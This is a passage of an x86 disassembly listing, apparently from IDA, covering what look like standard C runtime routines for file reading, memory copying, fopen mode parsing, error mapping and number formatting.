eax, [esi+0Ch] test al, 83h jz loc_417531 test al, 40h jnz loc_417531 test al, 2 jz short loc_41747C or eax, 20h mov [esi+0Ch], eax jmp loc_417531 ; --------------------------------------------------------------------------- loc_41747C: ; CODE XREF: sub_417455+1Aj or eax, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_417491 push esi call sub_41AA0C pop ecx jmp short loc_417496 ; --------------------------------------------------------------------------- loc_417491: ; CODE XREF: sub_417455+31j mov eax, [esi+8] mov [esi], eax loc_417496: ; CODE XREF: sub_417455+3Aj push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_417703 add esp, 0Ch test eax, eax mov [esi+4], eax jz short loc_417520 cmp eax, 0FFFFFFFFh jz short loc_417520 mov edx, [esi+0Ch] test dl, 82h jnz short loc_4174F5 mov ecx, [esi+10h] cmp ecx, 0FFFFFFFFh push edi jz short loc_4174DB mov edi, ecx sar edi, 5 mov edi, dword_47A2E0[edi*4] and ecx, 1Fh lea ecx, [ecx+ecx*8] lea edi, [edi+ecx*4] jmp short loc_4174E0 ; --------------------------------------------------------------------------- loc_4174DB: ; CODE XREF: sub_417455+6Dj mov edi, offset dword_42D068 loc_4174E0: ; CODE XREF: sub_417455+84j mov cl, [edi+4] and cl, 82h cmp cl, 82h pop edi jnz short loc_4174F5 or edx, 2000h mov [esi+0Ch], edx loc_4174F5: ; CODE XREF: sub_417455+64j ; sub_417455+95j cmp dword ptr [esi+18h], 200h jnz short loc_417512 mov ecx, [esi+0Ch] test cl, 8 jz short loc_417512 test ch, 4 jnz short loc_417512 mov dword ptr [esi+18h], 1000h loc_417512: ; CODE XREF: sub_417455+A7j ; sub_417455+AFj ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_417520: ; CODE XREF: sub_417455+57j ; sub_417455+5Cj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_417531: ; CODE XREF: sub_417455+Aj ; sub_417455+12j ... or eax, 0FFFFFFFFh pop esi retn sub_417455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417536 proc near ; CODE XREF: sub_417703+52p ; sub_41BFAD+2A7p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_8], 0 cmp [ebp+arg_8], 0 push ebx mov ebx, [ebp+arg_4] push esi push edi mov edx, ebx jz loc_4176FC mov eax, [ebp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 lea esi, [eax+eax*8] lea edi, ds:47A2E0h[ecx*4] mov eax, [edi] shl esi, 2 add eax, esi mov cl, [eax+4] test cl, 2 jnz loc_4176FC test cl, 48h jz short loc_41759C mov al, [eax+5] cmp al, 0Ah jz short loc_41759C dec [ebp+arg_8] mov [ebx], al mov eax, [edi] lea edx, [ebx+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41759C: ; CODE XREF: sub_417536+47j ; sub_417536+4Ej push 0 lea eax, [ebp+var_C] push eax push [ebp+arg_8] mov eax, [edi] push edx push dword ptr [eax+esi] call ds:dword_41F058 test eax, eax jnz short loc_4175EE call ds:dword_41F008 push 5 pop esi cmp eax, esi jnz short loc_4175D6 call sub_417C70 mov dword ptr [eax], 9 call sub_417C79 mov [eax], esi jmp short loc_4175E6 ; --------------------------------------------------------------------------- loc_4175D6: ; CODE XREF: sub_417536+8Aj cmp eax, 6Dh jz loc_4176FC push eax call sub_417C82 pop ecx loc_4175E6: ; CODE XREF: sub_417536+9Ej or eax, 0FFFFFFFFh jmp loc_4176FE ; --------------------------------------------------------------------------- loc_4175EE: ; CODE XREF: sub_417536+7Dj mov eax, [edi] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [ecx] test al, al jns loc_4176F7 test edx, edx jz short loc_417611 cmp byte ptr [ebx], 0Ah jnz short loc_417611 or al, 4 jmp short loc_417613 ; --------------------------------------------------------------------------- loc_417611: ; CODE XREF: sub_417536+D0j ; sub_417536+D5j and al, 0FBh loc_417613: ; CODE XREF: sub_417536+D9j mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] add ecx, eax cmp eax, ecx mov [ebp+arg_8], eax mov [ebp+var_8], ecx jnb loc_4176F1 loc_41762B: ; CODE XREF: sub_417536+1A3j mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_4176E1 cmp al, 0Dh jz short loc_417647 mov [ebx], al inc ebx inc [ebp+arg_8] jmp loc_4176D3 ; --------------------------------------------------------------------------- loc_417647: ; CODE XREF: sub_417536+104j dec ecx cmp [ebp+arg_8], ecx jnb short loc_417661 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41765C add [ebp+arg_8], 2 jmp short loc_4176B5 ; --------------------------------------------------------------------------- loc_41765C: ; CODE XREF: sub_417536+11Ej mov [ebp+arg_8], eax jmp short loc_4176CF ; --------------------------------------------------------------------------- loc_417661: ; CODE XREF: sub_417536+115j inc [ebp+arg_8] push 0 lea eax, [ebp+var_C] push eax push 1 lea eax, [ebp+var_1] push eax mov eax, [edi] push dword ptr [eax+esi] call ds:dword_41F058 test eax, eax jnz short loc_417689 call ds:dword_41F008 test eax, eax jnz short loc_4176CF loc_417689: ; CODE XREF: sub_417536+147j cmp [ebp+var_C], 0 jz short loc_4176CF mov eax, [edi] test byte ptr [eax+esi+4], 48h jz short loc_4176AA mov al, [ebp+var_1] cmp al, 0Ah jz short loc_4176B5 mov byte ptr [ebx], 0Dh mov ecx, [edi] mov [ecx+esi+5], al jmp short loc_4176D2 ; --------------------------------------------------------------------------- loc_4176AA: ; CODE XREF: sub_417536+160j cmp ebx, [ebp+arg_4] jnz short loc_4176BA cmp [ebp+var_1], 0Ah jnz short loc_4176BA loc_4176B5: ; CODE XREF: sub_417536+124j ; sub_417536+167j mov byte ptr [ebx], 0Ah jmp short loc_4176D2 ; --------------------------------------------------------------------------- loc_4176BA: ; CODE XREF: sub_417536+177j ; sub_417536+17Dj push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_419BC9 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_4176D3 loc_4176CF: ; CODE XREF: sub_417536+129j ; sub_417536+151j ... mov byte ptr [ebx], 0Dh loc_4176D2: ; CODE XREF: sub_417536+172j ; sub_417536+182j inc ebx loc_4176D3: ; CODE XREF: sub_417536+10Cj ; sub_417536+197j mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41762B jmp short loc_4176F1 ; --------------------------------------------------------------------------- loc_4176E1: ; CODE XREF: sub_417536+FCj mov eax, [edi] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_4176F1 or al, 2 mov [esi], al loc_4176F1: ; CODE XREF: sub_417536+EFj ; sub_417536+1A9j ... sub ebx, [ebp+arg_4] mov [ebp+var_8], ebx loc_4176F7: ; CODE XREF: sub_417536+C8j mov eax, [ebp+var_8] jmp short loc_4176FE ; --------------------------------------------------------------------------- loc_4176FC: ; CODE XREF: sub_417536+16j ; sub_417536+3Ej ... xor eax, eax loc_4176FE: ; CODE XREF: sub_417536+B3j ; sub_417536+1C4j pop edi pop esi pop ebx leave retn sub_417536 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417703 proc near ; CODE XREF: sub_413055+91p ; sub_417455+4Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00417792 SIZE 0000001C BYTES push 0Ch push offset stru_427A40 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_47A2C8 jnb short loc_417792 mov eax, ebx sar eax, 5 lea edi, ds:47A2E0h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_417792 push ebx call sub_41B7AC pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_417762 push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_417536 add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_417779 ; --------------------------------------------------------------------------- loc_417762: ; CODE XREF: sub_417703+49j call sub_417C70 mov dword ptr [eax], 9 call sub_417C79 and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_417779: ; CODE XREF: sub_417703+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41778A mov eax, [ebp+var_1C] jmp short loc_4177A8 sub_417703 endp ; =============== S U B R O U T I N E ======================================= sub_417787 proc near ; DATA XREF: .rdata:stru_427A40o mov ebx, [ebp+8] sub_417787 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41778A proc near ; CODE XREF: sub_417703+7Ap push ebx call sub_41B81F pop ecx retn sub_41778A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417703 loc_417792: ; CODE XREF: sub_417703+15j ; sub_417703+35j call sub_417C70 mov dword ptr [eax], 9 call sub_417C79 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_4177A8: ; CODE XREF: sub_417703+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_417703 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177B0 proc near ; CODE XREF: sub_413055+5Fp ; sub_41318A+A8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4177D0 cmp edi, eax jb loc_41794C loc_4177D0: ; CODE XREF: sub_4177B0+16j test edi, 3 jnz short loc_4177EC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41780C rep movsd jmp ds:off_4178FC[edx*4] ; --------------------------------------------------------------------------- loc_4177EC: ; CODE XREF: sub_4177B0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_417804 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41780C+4[eax*4] ; --------------------------------------------------------------------------- loc_417804: ; CODE XREF: sub_4177B0+46j jmp dword ptr ds:loc_41790C[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41780C: ; CODE XREF: sub_4177B0+31j ; sub_4177B0+8Ej ... jmp ds:off_417890[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417820 dd offset loc_41784C dd offset loc_417870 ; --------------------------------------------------------------------------- loc_417820: ; DATA XREF: sub_4177B0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41780C rep movsd jmp ds:off_4178FC[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41784C: ; DATA XREF: sub_4177B0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41780C rep movsd jmp ds:off_4178FC[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417870: ; DATA XREF: sub_4177B0+6Co and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_41780C rep movsd jmp ds:off_4178FC[edx*4] ; --------------------------------------------------------------------------- align 10h off_417890 dd offset loc_4178F3 ; DATA XREF: sub_4177B0:loc_41780Cr dd offset loc_4178E0 dd offset loc_4178D8 dd offset loc_4178D0 dd offset loc_4178C8 dd offset loc_4178C0 dd offset loc_4178B8 dd offset loc_4178B0 ; --------------------------------------------------------------------------- loc_4178B0: ; CODE XREF: sub_4177B0:loc_41780Cj ; DATA XREF: sub_4177B0+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4178B8: ; CODE XREF: sub_4177B0:loc_41780Cj ; DATA XREF: sub_4177B0+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4178C0: ; CODE XREF: sub_4177B0:loc_41780Cj ; DATA XREF: sub_4177B0+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4178C8: ; CODE XREF: sub_4177B0:loc_41780Cj ; DATA XREF: sub_4177B0+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4178D0: ; CODE XREF: sub_4177B0:loc_41780Cj ; DATA XREF: sub_4177B0+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4178D8: ; CODE XREF: sub_4177B0:loc_41780Cj ; DATA XREF: sub_4177B0+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4178E0: ; CODE XREF: sub_4177B0:loc_41780Cj ; DATA XREF: sub_4177B0+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4178F3: ; CODE XREF: sub_4177B0:loc_41780Cj ; DATA XREF: sub_4177B0:off_417890o jmp ds:off_4178FC[edx*4] ; --------------------------------------------------------------------------- align 4 off_4178FC dd offset loc_41790C ; DATA XREF: sub_4177B0+35r ; sub_4177B0+92r ... dd offset loc_417914 dd offset loc_417920 dd offset loc_417934 ; --------------------------------------------------------------------------- loc_41790C: ; CODE XREF: sub_4177B0+35j ; sub_4177B0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417914: ; CODE XREF: sub_4177B0+35j ; sub_4177B0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417920: ; CODE XREF: sub_4177B0+35j ; sub_4177B0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417934: ; CODE XREF: sub_4177B0+35j ; sub_4177B0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41794C: ; CODE XREF: sub_4177B0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_417980 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_417974 std rep movsd cld jmp ds:off_417A98[edx*4] ; --------------------------------------------------------------------------- align 4 loc_417974: ; CODE XREF: sub_4177B0+1B5j ; sub_4177B0+210j ... neg ecx jmp ds:off_417A48[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_417980: ; CODE XREF: sub_4177B0+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_417998 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_417998+4[eax*4] ; --------------------------------------------------------------------------- loc_417998: ; CODE XREF: sub_4177B0+1DAj ; DATA XREF: sub_4177B0+1E1r jmp ds:off_417A98[ecx*4] ; --------------------------------------------------------------------------- align 10h lodsb jns short loc_4179E4 add al, dl jns short near ptr loc_4179E7+1 add al, bh jns short loc_4179EC add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_417974 std rep movsd cld jmp ds:off_417A98[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 loc_4179E4: ; CODE XREF: sub_4177B0+1F1j sub edi, 2 loc_4179E7: ; CODE XREF: sub_4177B0+1F5j cmp ecx, 8 jb short loc_417974 loc_4179EC: ; CODE XREF: sub_4177B0+1F9j std rep movsd cld jmp ds:off_417A98[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_417974 std rep movsd cld jmp ds:off_417A98[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417A4C dd offset loc_417A54 dd offset loc_417A5C dd offset loc_417A64 dd offset loc_417A6C dd offset loc_417A74 dd offset loc_417A7C off_417A48 dd offset loc_417A8F ; DATA XREF: sub_4177B0+1C6r ; --------------------------------------------------------------------------- loc_417A4C: ; DATA XREF: sub_4177B0+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_417A54: ; DATA XREF: sub_4177B0+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_417A5C: ; DATA XREF: sub_4177B0+284o mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_417A64: ; DATA XREF: sub_4177B0+288o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_417A6C: ; DATA XREF: sub_4177B0+28Co mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_417A74: ; DATA XREF: sub_4177B0+290o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_417A7C: ; DATA XREF: sub_4177B0+294o mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_417A8F: ; CODE XREF: sub_4177B0+1C6j ; DATA XREF: sub_4177B0:off_417A48o jmp ds:off_417A98[edx*4] ; --------------------------------------------------------------------------- align 4 off_417A98 dd offset loc_417AA8 ; DATA XREF: sub_4177B0+1BBr ; sub_4177B0:loc_417998r ... dd offset loc_417AB0 dd offset loc_417AC0 dd offset loc_417AD4 ; --------------------------------------------------------------------------- loc_417AA8: ; CODE XREF: sub_4177B0+1BBj ; sub_4177B0:loc_417998j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417AB0: ; CODE XREF: sub_4177B0+1BBj ; sub_4177B0:loc_417998j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417AC0: ; CODE XREF: sub_4177B0+1BBj ; sub_4177B0:loc_417998j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417AD4: ; CODE XREF: sub_4177B0+1BBj ; sub_4177B0:loc_417998j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4177B0 endp ; =============== S U B R O U T I N E ======================================= sub_417AED proc near ; CODE XREF: sub_41318A+150p ; sub_41318A+19Bp ... arg_0 = dword ptr 4 mov eax, dword_47A010 test eax, eax jz short loc_417B05 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_417B05 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_417B05: ; CODE XREF: sub_417AED+7j ; sub_417AED+12j xor eax, eax retn sub_417AED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B08 proc near ; CODE XREF: sub_413337+35p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_47A1B8 push edi mov edi, [ebp+arg_4] mov al, [edi] xor ebx, ebx cmp al, 61h mov [ebp+var_8], ebx mov [ebp+var_4], ebx jz short loc_417B41 cmp al, 72h jz short loc_417B3A cmp al, 77h jnz loc_417C4D mov ecx, 301h jmp short loc_417B46 ; --------------------------------------------------------------------------- loc_417B3A: ; CODE XREF: sub_417B08+21j xor ecx, ecx or esi, 1 jmp short loc_417B49 ; --------------------------------------------------------------------------- loc_417B41: ; CODE XREF: sub_417B08+1Dj mov ecx, 109h loc_417B46: ; CODE XREF: sub_417B08+30j or esi, 2 loc_417B49: ; CODE XREF: sub_417B08+37j xor edx, edx inc edx jmp loc_417C28 ; --------------------------------------------------------------------------- loc_417B51: ; CODE XREF: sub_417B08+125j cmp edx, ebx jz loc_417C33 movsx eax, al cmp eax, 54h jg short loc_417BD2 jz short loc_417BC5 sub eax, 2Bh jz short loc_417BAF sub eax, 19h jz short loc_417BA5 sub eax, 0Eh jz short loc_417B91 dec eax jnz loc_417C0A cmp [ebp+var_4], ebx jnz loc_417C0A mov [ebp+var_4], 1 or ecx, 20h jmp loc_417C28 ; --------------------------------------------------------------------------- loc_417B91: ; CODE XREF: sub_417B08+68j cmp [ebp+var_4], ebx jnz short loc_417C0A mov [ebp+var_4], 1 or ecx, 10h jmp loc_417C28 ; --------------------------------------------------------------------------- loc_417BA5: ; CODE XREF: sub_417B08+63j test cl, 40h jnz short loc_417C0A or ecx, 40h jmp short loc_417C28 ; --------------------------------------------------------------------------- loc_417BAF: ; CODE XREF: sub_417B08+5Ej test cl, 2 jnz short loc_417C0A and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_417C28 ; --------------------------------------------------------------------------- loc_417BC5: ; CODE XREF: sub_417B08+59j mov eax, 1000h test ecx, eax jnz short loc_417C0A or ecx, eax jmp short loc_417C28 ; --------------------------------------------------------------------------- loc_417BD2: ; CODE XREF: sub_417B08+57j sub eax, 62h jz short loc_417C1D dec eax jz short loc_417C05 sub eax, 0Bh jz short loc_417BF1 sub eax, 6 jnz short loc_417C0A test ch, 0C0h jnz short loc_417C0A or ecx, 4000h jmp short loc_417C28 ; --------------------------------------------------------------------------- loc_417BF1: ; CODE XREF: sub_417B08+D5j cmp [ebp+var_8], ebx jnz short loc_417C0A mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp short loc_417C28 ; --------------------------------------------------------------------------- loc_417C05: ; CODE XREF: sub_417B08+D0j cmp [ebp+var_8], ebx jz short loc_417C0E loc_417C0A: ; CODE XREF: sub_417B08+6Bj ; sub_417B08+74j ... xor edx, edx jmp short loc_417C28 ; --------------------------------------------------------------------------- loc_417C0E: ; CODE XREF: sub_417B08+100j mov [ebp+var_8], 1 or esi, 4000h jmp short loc_417C28 ; --------------------------------------------------------------------------- loc_417C1D: ; CODE XREF: sub_417B08+CDj test ch, 0C0h jnz short loc_417C0A or ecx, 8000h loc_417C28: ; CODE XREF: sub_417B08+44j ; sub_417B08+84j ... inc edi mov al, [edi] cmp al, bl jnz loc_417B51 loc_417C33: ; CODE XREF: sub_417B08+4Bj push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41C294 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_417C51 loc_417C4D: ; CODE XREF: sub_417B08+25j xor eax, eax jmp short loc_417C6B ; --------------------------------------------------------------------------- loc_417C51: ; CODE XREF: sub_417B08+143j mov eax, [ebp+arg_C] inc dword_479EB8 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_417C6B: ; CODE XREF: sub_417B08+147j pop edi pop esi pop ebx leave retn sub_417B08 endp ; =============== S U B R O U T I N E ======================================= sub_417C70 proc near ; CODE XREF: sub_413337+18p ; sub_4134AF+2Bp ... call sub_415456 add eax, 8 retn sub_417C70 endp ; =============== S U B R O U T I N E ======================================= sub_417C79 proc near ; CODE XREF: sub_4134AF+36p ; sub_416387+8Ap ... call sub_415456 add eax, 0Ch retn sub_417C79 endp ; =============== S U B R O U T I N E ======================================= sub_417C82 proc near ; CODE XREF: sub_4134AF+16p ; sub_414125+1Dp ... arg_0 = dword ptr 4 push esi call sub_415456 mov ecx, [esp+4+arg_0] mov [eax+0Ch], ecx xor esi, esi loc_417C91: ; CODE XREF: sub_417C82+1Cj cmp ecx, dword_42CCB0[esi*8] jz short loc_417CB8 inc esi cmp esi, 2Dh jb short loc_417C91 cmp ecx, 13h jb short loc_417CC9 cmp ecx, 24h ja short loc_417CC9 call sub_415456 mov dword ptr [eax+8], 0Dh pop esi retn ; --------------------------------------------------------------------------- loc_417CB8: ; CODE XREF: sub_417C82+16j call sub_415456 mov ecx, dword_42CCB4[esi*8] mov [eax+8], ecx pop esi retn ; --------------------------------------------------------------------------- loc_417CC9: ; CODE XREF: sub_417C82+21j ; sub_417C82+26j cmp ecx, 0BCh jb short loc_417CE7 cmp ecx, 0CAh ja short loc_417CE7 call sub_415456 mov dword ptr [eax+8], 8 pop esi retn ; --------------------------------------------------------------------------- loc_417CE7: ; CODE XREF: sub_417C82+4Dj ; sub_417C82+55j call sub_415456 mov dword ptr [eax+8], 16h pop esi retn sub_417C82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CF5 proc near ; CODE XREF: sub_413337+Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset stru_427A50 call __SEH_prolog xor ebx, ebx xor edi, edi mov [ebp+var_1C], edi push 1 call sub_416901 pop ecx mov [ebp+ms_exc.disabled], ebx xor esi, esi loc_417D15: ; CODE XREF: sub_417CF5+85j mov [ebp+var_20], esi cmp esi, dword_47B660 jge loc_417DE4 mov eax, dword_47A644 mov eax, [eax+esi*4] cmp eax, ebx jz short loc_417D80 test byte ptr [eax+0Ch], 83h jnz short loc_417D79 cmp esi, 2 jle short loc_417D52 cmp esi, 14h jge short loc_417D52 lea eax, [esi+10h] push eax call sub_416882 pop ecx test eax, eax jz loc_417DE4 loc_417D52: ; CODE XREF: sub_417CF5+44j ; sub_417CF5+49j mov eax, dword_47A644 push dword ptr [eax+esi*4] push esi call sub_4166A2 pop ecx pop ecx mov eax, dword_47A644 mov eax, [eax+esi*4] test byte ptr [eax+0Ch], 83h jz short loc_417D7C push eax push esi call sub_4166F4 pop ecx pop ecx loc_417D79: ; CODE XREF: sub_417CF5+3Fj inc esi jmp short loc_417D15 ; --------------------------------------------------------------------------- loc_417D7C: ; CODE XREF: sub_417CF5+79j mov edi, eax jmp short loc_417DE1 ; --------------------------------------------------------------------------- loc_417D80: ; CODE XREF: sub_417CF5+39j shl esi, 2 push 38h call sub_41344D pop ecx mov ecx, dword_47A644 mov [esi+ecx], eax mov eax, dword_47A644 mov eax, [esi+eax] cmp eax, ebx jz short loc_417DE4 push 0FA0h add eax, 20h push eax call sub_41BBD8 pop ecx pop ecx test eax, eax mov eax, dword_47A644 jnz short loc_417DCC push dword ptr [esi+eax] call sub_412FE4 pop ecx mov eax, dword_47A644 mov [esi+eax], ebx jmp short loc_417DE4 ; --------------------------------------------------------------------------- loc_417DCC: ; CODE XREF: sub_417CF5+C2j mov eax, [esi+eax] add eax, 20h push eax call ds:dword_41F01C mov eax, dword_47A644 mov edi, [esi+eax] loc_417DE1: ; CODE XREF: sub_417CF5+89j mov [ebp+var_1C], edi loc_417DE4: ; CODE XREF: sub_417CF5+29j ; sub_417CF5+57j ... cmp edi, ebx jz short loc_417DFA mov [edi+4], ebx mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi], ebx mov [edi+1Ch], ebx or dword ptr [edi+10h], 0FFFFFFFFh loc_417DFA: ; CODE XREF: sub_417CF5+F1j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_417E0E mov eax, edi call __SEH_epilog retn sub_417CF5 endp ; =============== S U B R O U T I N E ======================================= sub_417E0B proc near ; DATA XREF: .rdata:stru_427A50o mov edi, [ebp-1Ch] sub_417E0B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417E0E proc near ; CODE XREF: sub_417CF5+109p push 1 call sub_41686D pop ecx retn sub_417E0E endp ; =============== S U B R O U T I N E ======================================= sub_417E17 proc near ; CODE XREF: sub_414CA3+459p ; DATA XREF: sub_413460+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_413A6E cmp eax, 65h jmp short loc_417E36 ; --------------------------------------------------------------------------- loc_417E2A: ; CODE XREF: sub_417E17+20j inc esi movsx eax, byte ptr [esi] push eax call sub_41ABBC test eax, eax loc_417E36: ; CODE XREF: sub_417E17+11j pop ecx jnz short loc_417E2A mov al, [esi] mov cl, byte_42D090 mov [esi], cl inc esi loc_417E44: ; CODE XREF: sub_417E17+38j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_417E44 pop esi retn sub_417E17 endp ; =============== S U B R O U T I N E ======================================= sub_417E53 proc near ; CODE XREF: sub_414CA3+46Ap ; DATA XREF: sub_413460+Ao ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov bl, byte_42D090 jmp short loc_417E65 ; --------------------------------------------------------------------------- loc_417E60: ; CODE XREF: sub_417E53+16j cmp cl, bl jz short loc_417E6B inc eax loc_417E65: ; CODE XREF: sub_417E53+Bj mov cl, [eax] test cl, cl jnz short loc_417E60 loc_417E6B: ; CODE XREF: sub_417E53+Fj mov cl, [eax] inc eax test cl, cl jz short loc_417E9C jmp short loc_417E7F ; --------------------------------------------------------------------------- loc_417E74: ; CODE XREF: sub_417E53+30j cmp cl, 65h jz short loc_417E85 cmp cl, 45h jz short loc_417E85 inc eax loc_417E7F: ; CODE 